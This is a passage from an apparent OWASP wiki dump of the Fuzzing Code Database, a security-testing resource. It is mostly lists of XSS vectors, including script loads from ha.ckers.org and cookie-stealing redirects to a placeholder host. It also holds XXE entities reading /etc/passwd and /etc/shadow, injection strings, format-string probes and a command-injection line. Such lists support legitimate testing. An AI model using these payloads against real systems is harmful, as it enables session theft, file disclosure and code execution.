ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80291 2010-03-22T12:13:48Z

<p>Adam.muntner: /* Microsoft URLs (18 March 2010) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - 